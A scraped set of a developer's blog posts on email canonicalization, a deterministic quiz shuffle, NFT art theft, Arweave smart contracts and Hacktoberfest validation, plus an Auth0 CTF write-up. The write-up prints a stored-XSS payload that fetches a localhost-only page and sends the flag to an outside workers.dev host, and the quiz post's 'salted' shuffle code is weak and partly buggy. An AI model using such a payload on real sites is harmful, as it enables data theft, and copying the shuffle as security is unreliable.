// Create account and store canonical email to DB
...

Yes it is an extra field in the same table or a separate table if you wish. But the extra storage could prevent a ton of invalid users being created.

Potentially a single gmail inbox could be used to create infinite variations. Hence it's worthwhile to implement.

Conclusion

Exact email comparison fails. It's bad.
It is possible to generate infinite emails that lead to a canonical email.
The inbox is uniquely identified by its canonical email.

Hope you learnt something valuable ✨

Find me on Twitter: @harishteens
GitHub: @harishteens

Quiz Maker Algorithm

Harish — Sun, 25 Sep 2022 09:19:01 +0000

Problem Statement

Given D days and N users.
Build a quiz maker that picks 5 random questions every day from the question set.
Satisfying the below conditions:

the likelihood of two users having the same question on the same day is low.
the questions are not repeated for any user.

The question set is of length S, which is atleast (D x 5) to gurantee 2nd condition.

Ofcourse we can make (N x D) number of questions to make this simple, but it is practically impossible to find those many questions. And to store all of them is a poor usage of storage.

Solution

The efficient way to do this is to build an algorithm that generates a list of length (D x 5) having numbers ranging from 1 to S. To locate the questions for today(T), we simply have to get the questions from [Tx5, Tx5 + 5].

For example if D = 3; S = 15; the lists of users could be

[10, 2, 1, 12, 9, 14, 11, 6, 7, 4, 5, 0, 3, 8, 13]

[1, 0, 10, 3, 11, 7, 12, 2, 9, 6, 4, 13, 8, 14, 5]

[11, 13, 14, 1, 4, 12, 9, 0, 2, 3, 8, 5, 10, 6, 7]

Exploring available solutions

Generating a random list

Let us begin to explore how we could generate this random list. I did some googling and found this useful website random.org. It was able to generate random sequences from 1 to N.

Problem Solved! Right? Not so soon, haha

If we generate a random sequence for every user, we would have to store it somewhere on a database. Now there are two concerns with this approach:

Cost of storing a (D x 5) array for N users. For larger N, this might cost a lot.
This is the biggest, if there were to be a leak in the API security and somebody was able to retrieve their list of questions for all days. Then they would know all the questions they are going to receive beforehand.

Hence need to take a different approach.

Deterministic Pseudorandom list

To solve the above 2 problems, I decided not store the array anywhere in Database. Every day when a user requests for their question I shall generate the array in runtime and pick the questions for the day. But for it to work, I would have to generate a deterministic list of numbers for each user. Or else I would be generating random list of numbers every day for the same user. Fortunately random.org had that option as well.

On Advanced Mode, you can seed the randomiser with an input string. So for every unique string, it gives a unique random sequence. It flashed that I could simply pass the user_id and get their respective sequences.

Although their pricing plan was very generous, the fact that it could be done motivated me to build something of my own.

Walkthrough of my solution

Fisher Yates Shuffle algorithm

After digging for a while, I found about Fisher Yates Shuffle algorithm on a stack overflow post. The algorithm is brilliantly crafted. Here is a link that contains beautiful visual explanation of Fisher Yates Shuffle. It is a prerequisite to go through it before you move ahead with this article. I've extended Fisher Yates and customised it according to my needs.

I'll brief what the algorithm is, if in case you haven't checked the website. Fisher Yates Shuffle is an in-place shuffling algorithm that runs in O(n). The idea of it is to pick a random index and swap the element on the random index with the first index. If you repeat this N times decrementing your random range. At the end of it, you would have a shuffled array.

Would highly recommend going through the link.

Extending Fisher Yates to give deterministic sequence

Now that I knew about this. All I needed to do was, generate a list from 1 to S and run Fisher Yates on it. Then I would have my expected list.

function shuffle(array) {
  var currentIndex = array.length, i;

  // While there remain elements to shuffle…
  while (currentIndex != 0) {

    // Pick a remaining element…
    i = Math.floor(Math.random() * currentIndex--);

    // And swap it with the current element.
    [array[currentIndex], array[randomIndex]] = [
    array[randomIndex], array[currentIndex]];
  }

  return array;
}
const arr = Array.from(Array(15).keys())
shuffle(arr)

But if you look closely, this is still shuffling randomly. Now we need to make it pseudorandom using the user_ids. The userId after removing hyphens given by AWS Cognito were of length 32. So I had to figure out a way to use these string bytes for randomizing. Here is my way of doing it:

Step 1
Repeat the string until it is of S length

const multiplier = Math.ceil(array.length / str.length);
for (let i = 0; i < multiplier; ++i)
  clonedStr = clonedStr + newStr;

Step 2
Now we can use this clonedStr byte values to pick random Indices. Here is how the modified while loop would like:

while (currentIndex != 0) {
    rndSeed = rndSeed + clonedStr.charCodeAt(currentIndex);

    // Pick a remaining element.
    randomIndex = rndSeed % array.length;
    currentIndex--;

    // And swap it with the current element.
    [array[currentIndex], array[randomIndex]] = [
    array[randomIndex], array[currentIndex]];
}

I basically pick the ASCII code of the character and mod it with the length of the array to get a pseudo randomIndex. Since the userIds are fixed, this loop always shuffles the array in a deterministic manner.

Step 3
To add additional security, I used a custom Salt value. So even if my algorithm and userId is exposed. Im relying on the secretly stored environment variable for securing the salt. Here is how I implemented salt:

const secretSalt = process.env.SECRET_SALT;
let newStr = "";
for (let i = 0; i < str.length; i = i+1 )
    newStr = newStr + String.fromCharCode((str.charCodeAt(i) + secretSalt) % 256)

I stuff each byte with my salt so the attacker needs to also get my salt to know his sequence. It might not stop them entirely, but definitely will slow them down significantly.

The final version

import moment from 'moment';

const TOTAL_NUMBER_OF_QUESTIONS = 150;
const QUIZ_START_DATE = moment("20220919", "YYYYMMDD");

function shuffle(array: number[], str: string) {
    let currentIndex = array.length, randomIndex: number;
    const multiplier = Math.ceil(array.length / str.length);

    const secretSalt = process.env.SECRET_SALT;
    let newStr = "";
    for (let i = 0; i < str.length; i = i+1 ) newStr = newStr + String.fromCharCode((str.charCodeAt(i) + secretSalt) % 256)
    let clonedStr = "";
    for (let i = 0; i < multiplier; ++i) clonedStr = clonedStr + newStr;

    let rndSeed = 0;

    // While there remain elements to shuffle.
    while (currentIndex != 0) {
        rndSeed = rndSeed + clonedStr.charCodeAt(currentIndex);

        // Pick a remaining element.
        randomIndex = rndSeed % array.length;
        currentIndex--;

        // And swap it with the current element.
        [array[currentIndex], array[randomIndex]] = [
        array[randomIndex], array[currentIndex]];
    }

    return array;
}

function getTodaysQuestions(userId: string) {
    const questionsArray = Array.from(Array(TOTAL_NUMBER_OF_QUESTIONS).keys())
    const seedString = userId.split("-").join("");
    shuffle(questionsArray, seedString);
    const today = moment()
    const diff = today.diff(QUIZ_START_DATE, 'days');

    return questionsArray.slice(diff * 5, (diff + 1) * 5);
}
getTodaysQuestions("noob-master-69")

Conclusion

Thanks for reading. Hope it was useful to you in some way. Please feel free to reach out to me if you want to share improvements or feedbacks. Always happy to know.
Reach out to me via Twitter

The Tale of Digital Art Theft - Part1

Harish — Sun, 20 Feb 2022 17:42:51 +0000

While NFTs are booming, or probably they could be a bubble. Nobody can tell. What's real is digital art theft! This project tries to solve this problem by gathering and organising information from all appropriate sources. Hence I named this project "The Collective Truth(TCT)".

The problem

Let's discuss the NFT Art theft in detail first before we move ahead. There are several ways in which bad actors steal digital art. The two common kinds are Spoofing and Fraud.

Spoofing

Bad actors disguise to be the original owner of the art and trick people into buying. Since every art piece is made publicly available, anybody could view it. And if you could view it, you can download it and save a copy.

For example, Bad actors have bots set up to scrape of new and hot NFTs that are listed and re-mint them on their account. Yes, NFTs are non-transferrable and secure. But no buyer is going to go and look for the token address and make sense out of it. All they see is the art, and if it looks alike. They most probably are going to believe it. Usually these bad actors, go a level above and maintain an appealing social media profile by creating fake accounts that resemble the original creator. It's quite compelling and the rush often gets people into buying something not what the seller is claiming to be.

Fraud

The digital art creator community is well aware of the Spoofing problem. This is one of the biggest concerns for creators to not mint an NFT out of their art. They would rather be away from this mess. But unfortunately even the ones who dont mint an NFT get exploited too.

I found this very depressing story where the bad actor stole the art from the creator's website and sold it to a big company on Fiverr. The big company didn't do their due diligence properly so they believed the person whom they bought it from was the creator. I dont see why they would wanna make any effort into verifying a creator on Fiverr, they would just be happy that get got good art for a lower price. At last, the creator would find about this theft after 3 years when he noticed his art being sold at the company's NFT marketplace. The creator wasn't even making any money out of his work, he was just publishing them for free out of passion. When he found out, he would send emails demanding his art to be taken down immediately.
For the complete story , check this video

Present solutions

After researching a bit, I found these measures at place that sort of solves the problem.

1. OpenSea's Portfolio

OpenSea is one of the largest and most used NFT marketplaces on the Ethereum chain. Artists who have been part of the ecosystem enjoy its benefits of having a verified Profile and all their collections at one place.

In the above example Artist page, one can see all the useful statistics like traded volume, number of items..etc
This plays a crucial role in identify the legitimacy of the artist. One can also notice the link to their Twitter account, that adds an additional set of trust.
Honestly, I appreciate the OpenSea team for putting in this much effort.
But I got a few problems with OpenSea.

OpenSea keeps adding all the features that pulls artists together and the best case we got is they become the next monopoly like Google imposing all the necessary features under their Premium feature. Thats just the best case :) For NFTs which is supposed to be "decentralised", this future feels like we are the mercy of big corps like this. Now I know Moxie put up some real valid points about this that people dont want to run their servers. So definitely they are not going to build their own security systems. But there just gotta be a better way.

Deviant Art

Deviant Art is another well-known marketplace. They have been in the game even before NFTs were a thing. And they have boarded the NFT wagon once it occurred. I found this article with the amazing title Calling All Creator Platforms to Fight Art Theft. Even before reading through it, I had a good feeling that this is going to be something different. But, it wasn't :/
It was pretty good though, they've implemented a realtime AI engine that goes through all of the uploaded art and detects if there is a similarity to an existing art. If there is a potential spoof, it sends an email to the creator. They call is "DeviantArt Protect". I also read that they are working with other marketplaces to integrate this feature.
Like I said, its pretty good. It's the best in the industry.

Again the problem is that it is only to users who have their Core Membership.

I very well understand individuals can't build such tools pouring in millions of dollars and perform full time like their R&D. That's why Youtube is so powerful, they have the most robust Digital fingerprinting technology. It's called Content ID. This is used on Youtube to identify copyrighted content very quick.

I certainly believe the purpose of decentralisation is to take what the big companies do at scale and decentralise it. If the nodes can solve cryptographic nonce to commit a transaction, they definitely can co-ordinate and do the same compute. Web3 has a long way to go to become mainstream but if the smart engineers keep working around these fundamental problems rather than trying a make a quick buck, we can get there sooner.

A lot of people probably dont care about this. Others might view them as rants, I won't blame you. Even I feel that way sometimes...

Beginner's guide to deploy smart contract with an example

Harish — Wed, 03 Nov 2021 09:31:53 +0000

This guide tries to explain how to write and deploy smart contracts to Arweave using Javascript.

Fundamentals
PreRequisites
Introduction
Setting up inital state
Updating state
Deployment
Interacting with the contract
Summary

Fundamentals

What is a smart contract?

Smart contracts are digital substitutes of real world contracts. Once its coded and pushed to the chain, its immuatable, hence cannot be changed!

How to write one?

There are plenty of networks out there. I deployed my contract to Arweave. Unlike many other networks, the smart contracts on Arweave can be written in JavaScript. The process to write and deploy one is fairly straight forward.

PreRequisites

Complete the above steps before moving ahead.

Introduction

There are two steps to deploying Smart Contracts on Arweave once the prerequisites are completed.

Write the smart contracts Go through the Contract writing guide by Arweave Team. It contains an example of Hello World that should set your fundamentals straight.
Deploy them via CLI Once the contract files are ready. To deploy it via the CLI, you would need to export the private key of your Arweave/Finnie Wallet which you must have created earlier. Here is the CLI Usage guide.

Setting up initial state

Please go through the introduction section and explore the attached resources before moving ahead.

Example Contract description : Set up a Decentralised marketplace where people can donate to crowdsource fundraiser listings.

Time to build our Crowdsource App 🥳🥳🥳

In order to do that, we need two contracts to make it work.

A Collection contract that would contain all the information regarding the listing in its state

{
  "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
  "name": "Tabs over Spaces",
  "description":"This is my first petition. Please vote this petition to make spaces illegal",
  "funds":{
    "raised":0,
    "goal":100,
    "records":{

    }
  }  
}

A Parent Crowdsource contract that would contain references to the above created collection contracts in its state

{
    "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
    "name": "CrowdSource | PeopleHelpPeople",
    "collections":{}
  }

Updating state

There are two operations that could happen:

Users enlist a new crowdsource collection
Users donate funds to the collection

NOTE: These actions are basic and preliminary. Since I didnt have much time during the hackathon, this was all I could build. But obviously it could be expanded to make the system more usable and robust.

Enlisting a Collection Contract

Lets take a look at the enlist function on the Parent Contract

export function handle(state, action) {

    if (action.input.function === 'enlist') {
        if (typeof action.input.listingId === 'undefined') {
            throw new ContractError(`PetitionId cant be null`)
        }
        if (state.collections.hasOwnProperty(action.input.listingId)) {
            throw new ContractError(`PetitionId already exists`)
        }
        state.collections[action.input.listingId] = 1
        return { state }
    }

    throw new ContractError('Invalid input')
}

The enlist function performs the essential checks firstly, then adds the reference to the collections object of the state. This serves as a means to keep track of all the crowdsource contracts on the chain.

After enlisting a collection contract, the parent contract state should like this:

{
  "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
  "name": "CrowdSource | PeopleHelpPeople",
  "collections": {
    "Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu08248PUTxnp2qOU": 1
  }
}

Donating to a Collection Contract

Once the collection is enlisted, users could transfer funds to the collection. Feel free to use any wallet services to transfer tokens. But make sure you got the correct address on the owner field.

Since I used Finnie wallet, I put my Finnie address inside the owner field.

Here is the Collection Contract

export function handle(state, action) {

    if (action.input.function === 'donate') {
        if (typeof action.input.donorId === 'undefined') {
            throw new ContractError(`DonorId cant be null`)
        }
        if (typeof action.input.amount === 'undefined') {
            throw new ContractError(`amount cant be null`)
        }

        if (typeof action.input.amount !== 'number') {
            throw new ContractError(`amount must be a number`)
        }

        state.funds.records[action.input.donorId] = action.input.amount;
        state.funds.raised += action.input.amount;
        return { state }
    }
    throw new ContractError('Invalid input')
}

After performing essential checks, the contracts state is updated with the donor payment ID(address) and the amount of funds they have contributed.

The default currency is assumed to be KOII. Again a place for improvement. To support various currencies, currency field could be added to the record.

This is how the collection contract would look like once users have donated some funds.

{
  "owner": "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ",
  "name": "Tabs over Spaces",
  "description": "This is my first petition. Please vote this petition to make spaces illegal",
  "funds": {
    "raised": 1.2109999999999999,
    "goal": 100,
    "records": {
      "Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu0824": 1.21,
      "6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ": 0.001
    }
  }
}

Deployment

To deploy the contracts, use the Smartweave create command:

smartweave create [SRC LOCATION] [INITIAL STATE FILE] --key-file [YOUR KEYFILE]

It takes around 10-15 minutes for the contract to be deployed. Note that you would have to spend some AR in order to deploy the contract.
Once the create command completes, the CLI will output a unique transaction ID for the transaction. This ID is essential to proceed forward.

To check the status of the transaction

arweave status [CONTRACT TXID]

To read the state of the contract

smartweave read [CONTRACT TXID]

For a web GUI experience, check out Viewblock.io. Its a handy website to check all the information about your contracts state, tags and transactions.

Interacting with the contract

It is time to send payloads to interact with the contract i.e. update the state. We would be using the enlist and donate functions that we set up earlier on the contracts.

To interact with the transaction:

smartweave write [CONTRACT TXID] --key-file [YOUR KEYFILE] \
  --input "[CONTRACT INPUT STRING HERE]"

For enlisting a contract

smartweave write [Parent Crowdsource Contract TXID] --key-file [YOUR KEYFILE] --input "{"function":"enlist","listingId":"<Collection contract TXID>"}"

For donating tokens to a collection

smartweave write [Collection Contract] --key-file [YOUR KEYFILE] --input '{"function":"donate","donorId":"<Donor wallet address>","amount":<number of tokens>}'

Summary

Congratulations 🥳🥳🥳

Hope you liked reading through the article. To summarise the learnings, you should have understood:

What are smart contracts
How to write and deploy one on Arweave
How to Interact with them

Read about my project I built for the hackathon if you're interested below 🙂

Bonus Tip

All of these are done via CLI, but to scale it to a real world application. You would need to the Arweave SDKs and APIs.

Happy Exploring 😉

About my project

Its called People Help People, the origin of the name comes from the idea of a society where people are not dependent on middle men or central systems to help each other. One can find more information about the Aim and Goals on the Pitch Deck.

This is a blockchain based project. It has two parts to it. The smart contracts and the web client interface.

The project presently consists of two prototypes

Both of these prototypes inherits the idea of PHP, i.e. to defeat the intervention of a central system. Hence I covered only one of them in the article. Once I learnt the basic fundamentals of how smart contracts work and how to write one, giving life to these two ideas was plain sailing.

Devfolio Submission link: https://devfolio.co/submissions/people-help-people-a3c8

GitHub Repo link: https://github.com/HarishTeens/PeopleHelpPeople

I had to struggle a lot to walk through the right steps in order to learn this. So I tried my best to make the learning smooth for a beginner. Please share your feedbacks in the comments.

Join the Movement

If you're interested in joining the movement, dm me on Twitter so I could add you to the organisation People Help People on GitHub. It's a very recent org, so it appears to be blank at the moment. But definitely planning to work on it in the future ✨

Follow me on Twitter @HarishTeens

Blink Host | Auth0 CTF Write-up

Harish — Wed, 27 Oct 2021 04:53:54 +0000

Background

This web challenge was hosted on Auth0 CTF 2021. Read more about it here. This challenge was tagged for 625 points with a 2 star rating. I would categorise the difficulty level as Beginner-Intermediate. Download the challenge file from this link. The zip file extracks to a challenge folder with docker config. To setup the docker container in local, simply run the build-docker.sh file and you should be good to go.

The following is a write-up for the aforementioned challenge, give it a shot yourself before reading ahead.

Recon
Initial thought process
Exploring Pupeeteer
Building the solution
Summary

A quick overview of the application would be that it is a dynamic website that lets you submit a support ticket via an input form. There are other routes as well but it cant be accessed normally with the browser. Like you guessed, the flag is buried in one of the protected routes.

Recon

First I started browsing through the source code to understand what all technologies are used.

Express App (JS) : The app uses ExpressJS for the backend.
Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.
SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting. sqli
Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.

This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.

After browsing through the files. Of all the routes, the only 3 that mattered are the following:

settings
/tickets
/api/submit_ticket

Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.

if(req.ip != '127.0.0.1') return res.redirect('/');

So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.

Initial thought process

location of the flag
in order to get to the flag, we gotta expose settings.html
and that is blocked only from 127.0.0.1

Since the flag was hid behind the /settings endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html.

My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the X-Forwarded-For header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This post helped me send a curl request with the above header set to 127.0.0.1. Unfortunately, that didnt work.

After trying to set other header's, I realised that the request cannot be spoofed. It has to be legit!

Exploring Puppeteer

The only piece I had'nt explored was Pupeeteer which in fact visited the /tickets route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their website. In simple terms, its a bot that mimics how a user interacts with websites.

Exploring its code...

router.post('/api/submit_ticket', async (req, res) => {
    const { name, email, website, message } = req.body;
    if(name && email && website && message){
        return db.addTicket(name, email, website, message)
            .then(() => {
                bot.purgeData(db);
                res.send(response('Ticket submitted successfully! An admin will review the ticket shortly!'));
            });
    }
    return res.status(403).send(response('Please fill out all the fields first!'));
});

This was actually fishy cause, the purgeData function is being called right after a ticket is submitted. So what essentially happens is the bot visits the page and then it simply clears the db. Its strange, but yeah thats what it does.

Now I was wondering, can I trick Puppeteer to visit the /settings route that contains the flag somehow? So I began exploring the bot code and routes. No SQLI was possible, it was cleverly filtered. So thats out of the equation. Even template injection wouldnt work.

After some exploration, I noticed the ticket from db is fetched and rendered on the tickets HTML DOM. Suddenly it hit me, would a simple XSS work? cause its just rendering the field from the db without sanitizing it. But the big question is how would I know if it worked? I ain't visiting the site, Puppeteer does.

Lots of problems to be solved here...

To test my theory, I had to make Pupetter call my external API endpoint by sending a JS payload.

A few seconds after I hit submit, I saw a GET request being made to this endpoint in the logs . My theory works, Tada 🎉🎉🎉

Building the solution

Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from /settings route and sends it to my Cloudflare API.

This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the /settings endpoint, not me!!!

So here comes the easy part

    fetch("http://127.0.0.1:1337/settings")
    .then(response => {
        return response.text()
    })
    .then(html => {
        var exp=html.substring(html.lastIndexOf("HTB{"))
        fetch('https://curly-art-0176.designrknight.workers.dev/a='+exp)
    })

The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.

As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!

Summary

The website is XSS susceptible. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because pupetter didnt block external network connetions. These two are the major vulnerabilities here.

Follow me on twitter.com/HarishTeens

I would like to thank Auth0 for hosting the CTF ✨. Special thanks to @DesignrKnight | Partner in crime.

How I built the API for Hacktoberfest Validation

Harish — Wed, 18 Nov 2020 04:51:14 +0000

If you're up for some old Queen hits, feel free to turn it up!

Where it all started

Online certificates have become a huge thing nowadays. With people posting certificates on LinkedIn, no one seems the bother about its authenticity or value. All this for what? to incentivize people? Hmm...

More and more digital documents came into play. Things like Photo frames, Online ID Cards, Badges for attending events...etc. Assigning people with badges seemed like a cool thing to do. That's when we started digging and came to know about DSC OMG event. DSC OMG is a global conference for talks, workshops and events for developers. They had used a badges framework wrapped around their event. At the end people had badges in their dashboard for crazy things like attending a particular session, logging in first, staying up till the end. One could easily think of a billion ways to assign badges.

The badges Framework

We at DSC NIT Rourkela have wrapped our website with the same badges framework which DSC OMG had used. Thanks to Kautuk Kundan (the creator of the badges framework).

After setting up the badges server, even we went crazy and started giving away badges for all sorts of activities. At the end of October, I had this thought of assigning badges to the ones who have completed the Hacktoberfest 2020 Challenge. When I first thought about it, I didn't really give much thought about it. Since it is GitHub and DigitialOcean has already done, assumed it to be fairly straightforward. And it is if you know how it is done :).

Getting to work

Before getting into coding, I first picture the flow of all the things that need to be done. Firstly, there would be a login button on the front-end which authenticates the user and send a token to some server. Then that server fetches the PR history and does the validation check, return back with a Success True/False response.

Setting up an OAuth GitHub app was really easy. Once that is done, I started looking into the GitHub API Docs.

The Problem

As I was going through the Docs, I couldn't find any API which gives away the PR of an authenticated user. That really hit me hard. It didn't make sense, because DO has done it, so there must be a way. I was thinking to use search queries, even considering scrapping the page( sorry GitHub :/). No luck whatsoever.

I pretty much gave up and thought maybe DO has some internal affair with GitHub. The big enterprises get it done. It was a big surprise to me when I got to know that the entire Hacktoberfest website, server and client was on GitHub. I felt like I hit a JackPot! It didn't even last for a second :(.

Exploring DO's Hacktoberfest Repo

The entire codebase was on Ruby and I have no idea of Ruby. Tried going into random files in hope to figure something out, but no luck. I've used Python, JavaScript, C++ and even PHP. But Ruby was totally strange! No one I knew had a good understanding of Ruby. Out of frustration, I went to the contributors list and started mailing them!

Yes, that is what I did. Found the top contributor, her name is Frida. She had her mail on GitHub, even though I couldn't really comprehend why she would help me. Yet I mailed her, then I found a username called MattIPv4. This dude had his Twitter handle on GitHub, and his GitHub Profile said Community Platform Manager @digitalocean. Now, this is the real jackpot.

The Magic

I texted Matt on Twitter, He asked me to drop a mail to Hacktoberfest support. As Matt suggested, I sent the same mail which I had sent to Frida. I was surprised to get a reply back within 17 mins.
Below is the reply I got

As one could see, the file for the individual functionalities was clearly mentioned. This was like the ultimate tip, went right into the files, although I was not able to recognise any Ruby Code. I found out that there is a GraphQL query which fetches PR History. Yes, I was initially referring to only REST API of GitHub as I wasn't very much comfortable with GraphQL. I didn't even have to write my own GraphQL query, I copy pasted the exact query which was in the repo to my NodeJS GraphQL client.

Actual work begins

Now that I have the data, I just had to filter the PR based on the guidelines. Quickly I fired up an Express Server with all the basic setup. I always prefer Express and NodeJS for backend, it is powerful and super fast to build. With NPM, one could do any damn thing they want to, cause there would be an NPM package for every damn thing B|.
I filtered the data according to the updated guidelines, even added support to handle PRs which counts before the guidelines were updated.

What the API does

The API takes in the user token and responds back with a {success:True} if they have completed the challenge else {success:False} if they haven't. Check out the Repository on GitHub to see an example Request and Response.

HarishTeens / hacktoberfest-validation

Hacktoberfest 2020 Validation Checker

Introduction

An API to simulate DigitalOcean's Hacktoberfest Validation Check.

Step to Use the API

Make a POST Request to http://localhost:4000/hacktoberfest .
Send your PAT(Personal Access Token) in Body. Check this link to get your PAT.

Example

Request

Response

If completed, { success:true }
else { success:false }

References: Official Digital Ocean's Repository

Special Thanks to @fridaland and @MattIPv4

View on GitHub

How the API works

Here are the steps which execute in sequence

Get User Token
Fetch PR History
Filter the PRs in accordance with DO's guidelines.
Return True/False based on the count of valid PRs.

What more could be improved

For now, it just works. There is literally zero error handling, if things don't go as expected, the app would definitely break. I am not super proud about that, will definitely work on it.
Also the filtering logic and steps could be done more efficiently. Couldn't really get that logic from DO's repo as it was in Ruby.

Conclusion

If you have reached this point, probably you are wondering. What is so great about this? This is a piece of cake to me, I could code this in an hour. I'd say great!

This is not a tutorial on how to build the Hacktoberfest Validation API. This is the story of how I got to it. It felt really magical to see Matt replying to a random stranger's Twitter text and a magic mail which points me to the right direction. All adding more beauty of how opensource works. Also, I got the mail back from Frida a day later! Lastly, this is not an article to praise DigitalOcean and their support.
P.S. Shhh... They didn't pay me ;)

I was really amazed that day when I realised that people are so kind and helping in the open-source community. It was a blissful experience on the whole <3.

Woofy Greet Actions

Harish — Thu, 17 Sep 2020 14:23:34 +0000

My Workflow

Woofy Greet

Woofy greet actions could be used to make comment with a dog GIF and template text whenever someone sends a Pull Request.

Submission Category:

Maintainer Must-Haves

Yaml File or Link to Code

Marketplace Link

Additional Resources / Info

To get a random GIF of the dogs, the actions uses NPM package provided by Giphy

DEV Community: Harish

You can't test your way to certainty — so falsify instead

The fear of infinite examples

Engineers have empirical bias

A surprising answer: Karl Popper's falsification

How this applies to engineering

The peace it gave me

Over to you

DNS is weird inside k8s on AWS

1. ndots: one lookup is rarely one query

2. NodeLocal DNS: the (optional) cache hop you might not know is there

3. The EC2 per-ENI DNS packet limit (~1024 pps)

How the three fit together

Your DNS check is lying to you

The setup

Why "just resolve the host" isn't enough

Leak 1 — CNAME chains the resolver doesn't finish in time

Leak 2 — datacenter IPs get blocked silently

Leak 3 — TLS versions that our real client will refuse anyway

Leak 4 — costing the proxy on requests that didn't need it

What we built instead

Stage 1 — DNS that walks the CNAME chain by hand

Stage 2 — TLS as a three-way verdict, not a boolean

Stage 3 — residential proxy as a tiebreaker

The flow

What we learned along the way

How a 500 MB Buffer Killed Our Archival Job — And Why Streaming Fixed It

The job that kept dying

What the original code looked like

The shape of the fix

The four primitives that make this work

1. pgx.Rows — a server-side cursor

2. io.Pipe — a synchronous in-memory pipe

3. compress/gzip.Writer — streaming compression

4. s3manager.Uploader — multipart upload from an io.Reader

The producer/consumer pipeline

What the numbers looked like after

What streaming doesn't fix

The general lesson

I built a strange webhook handler in NodeJS

Context

Objectives

Brainstorming

The final spec

Conclusion

You need to implement this email check

What the heck is Email Canonicalization?

Why this matters?

The npm package you need

Implementing the better way

Conclusion

Quiz Maker Algorithm

Problem Statement

Solution

Exploring available solutions

Generating a random list

Deterministic Pseudorandom list

Walkthrough of my solution

Fisher Yates Shuffle algorithm

Extending Fisher Yates to give deterministic sequence

The final version

Conclusion

The Tale of Digital Art Theft - Part1

The problem

Spoofing

Fraud

More problems

Present solutions

1. OpenSea's Portfolio

Deviant Art

Beginner's guide to deploy smart contract with an example

Table Of Contents

Fundamentals

What is a smart contract?

How to write one?

PreRequisites

Introduction

Setting up initial state

Updating state

Enlisting a Collection Contract

1. `ndots`: one lookup is rarely one query

1. `pgx.Rows` — a server-side cursor

2. `io.Pipe` — a synchronous in-memory pipe

3. `compress/gzip.Writer` — streaming compression

4. `s3manager.Uploader` — multipart upload from an `io.Reader`